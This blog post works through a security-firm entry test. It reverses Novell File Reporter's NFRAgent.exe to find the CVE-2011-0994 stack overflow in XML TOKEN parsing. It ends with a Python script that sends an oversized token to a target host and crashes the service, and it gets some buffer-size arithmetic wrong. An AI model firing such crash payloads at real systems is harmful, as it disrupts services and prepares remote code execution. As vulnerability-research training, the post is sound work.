The Vupen Entry Test (Part 1)

Sometime back while looking for challenges to do , I came a cross an article that said how big security companies give guys challenges to test their skills. As a result, I tried to find if I can find some of these challenges. I eventually bumped in to an Entry test that belongs to Vupen (whose founder went ahead to launch Zerodium). This seemed really interesting.

In this post we will focus on reversing, bug hunting and triggering the bug we find. There will be a follow up (Part 2 that focuses on the exploitation part).

Let the detective work begin πŸ•΅οΈ .

The test

The vulnerability to analyze is the following (CVE-2011-0994):

http://dl.packetstormsecurity.net/1104-advisories/ZDI-11-116.txt

You are expected to provide a code execution exploit with DEP bypass (if possible) to run calc.exe . The code should be developed in Python 2.x or 3.x. If you do not manage to exploit the flaw, please provide a python PoC which shows control of EIP.

Reversing

The first thing I did was look for the software of interest i.e the Novell File Reporter software, refered to as NFR from now.
This was easily available from their site. So I grabbed the relevant version i.e. 1.0.1.

In this case I didn’t to do any diffs so I opted to take the long way and reverse from scratch.
Next step is to install the Novell File Reporter software so as to get the executables, in this case, NFRAgent.exe.

Given that I have some information of the type of bug I am after, I didn’t have to do alot of reconnaissance so I just loaded the executable to IDA (I simply call this BAE).

main

Looking at the main function reversing this seems like a walk in the park ,since there IDA imports windows signatures making it easy for use (Also having reversed a couple of firmware this was fairly easy). Now the next step is finding a good attack surtface that meets our requirements. In this case, the bug is specifically a stack buffer overflow hence a good target would be some sort of input that overflows a buffer in the stack.

The first step is to go through the string just to get a feel of what kind of strings are available. In this case, I am focusing more on strings that might print out or log user input.
to narrow down my search I am looking for any string that uses string formating.One might ask why strings ? It’s simple if its a string I have control of it plus we have the word stack buffer and from the aforementioned I am looking for anything that might allow me to overflow a buffer on the stack.

Strings

Looking through the string we find a string that looks interesting .

Token String

The above string seems to take a token and use it or print it . At this point its not clear how the string is used but surely looks intersting. To have a deeper understanding it would be wise at this point to figure out how a token is created.

Understanding NFRAgent.exe

Looking the main funtion the program begins by creating a new operator if creation was succesful it passes the value to a function which I have named setup_sr_engine.

main

Looking carefully, at setup_sr_engine we can see that it sets a new ServerNetworkInterface whose 6th argument is a pointer to a function which we have named connection request.

Ssetup_sr_engine

Now let dive deeper into connection_request

Connection request

Looking at the above it is evident that this functions identifies the connection request based on a key provided as part of the connection request e.g. FSFUI. In this case we will focus on handle_FSFUI_request .

This function handles a FSFUI request which later tries to validate the specific request type

handle_FSFUI_request

validate_request_type

Nice πŸ˜€ now we can see the call to parse_token (which we have named so after reversing) and it takes the value of the node TOKEN .

Understanding token parsing

Token

A closer look at token operations

token operation

strcpy(_token_dest, _token);
At this point we see that there is no check for _token so the current goal is to find the size of the buffer (_token_dest) as it makes a good candidate for a stack buffer overflow.

Token data

Looking carefully at char *token_data; // [esp+4h] [ebp-98h] its evident that the size of buffer is 98h which translates char token_data[150];

looking carefully at

1
2
token_len = 2 * xercesc_2_7::XMLString::stringLen(token) + 2;
_token = (char *)malloc(token_len)

we can see size of _token is calculated by getting the length of the string passed in Token then plus 2 which means to overflow the buffer we need to have lenghtof(token_data)< lengthof(token_passed) which translates to

1
2
3
lengthof(token_passed ) > [(150 (size of token data) / 2 ) - 2]
this translates to
lengthof(token_passed ) > 73 bytes

Gathering the facts

  1. We have control over the value of token as we can send it when making a request
  2. We can send this string request remotely through port 80 for http and 3037 for https

Looking at the above facts we are right to say we have a bug.

WOOOOT !!! πŸŽ‰πŸŽ‰πŸŽ‰πŸŽ‰ We have a bug.

Triggering the bug

The best langugae for such would be python given that it’s a remote attack.

In this case, the request of interest would have all the keys that we come along before we reach to handle_FSFUI_request .
As a result the request will look like this

1
ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN>OUR TOKEN VALUE</TOKEN><![CDATA[]]></ROOT

Given that its an xml request we will send in that form

The trigger code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
import httplib, md5, sys,struct
def message_MD5(arg):
v = "SRS" + arg + "SERVER"
m = md5.new(v)
return m.hexdigest()
try:
conn = httplib.HTTPConnection("192.168.0.12:80")
headers = {"Content-type": "text/xml"}
junk = 'A' * 100
body = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN>"+junk+"</TOKEN><![CDATA[]]></ROOT>"
body = message_MD5(body).upper() + body
conn.request("POST", "/",body, headers)
response = conn.getresponse()
print("[+] Connected successfuly")
print response.status, response.reason
except Exception as e:
print("[-] Connection failed with error %s",e)
finally:
conn.close()

Crash

WOOOOT !!! πŸŽ‰πŸŽ‰πŸŽ‰πŸŽ‰ A crash occurs . We have succesfully triggered the bug πŸ€“ 😎 πŸ’ͺ .

Part 2 will cover DEP bypass, SEH bypass and controlling the EIP stay tuned πŸ˜€ .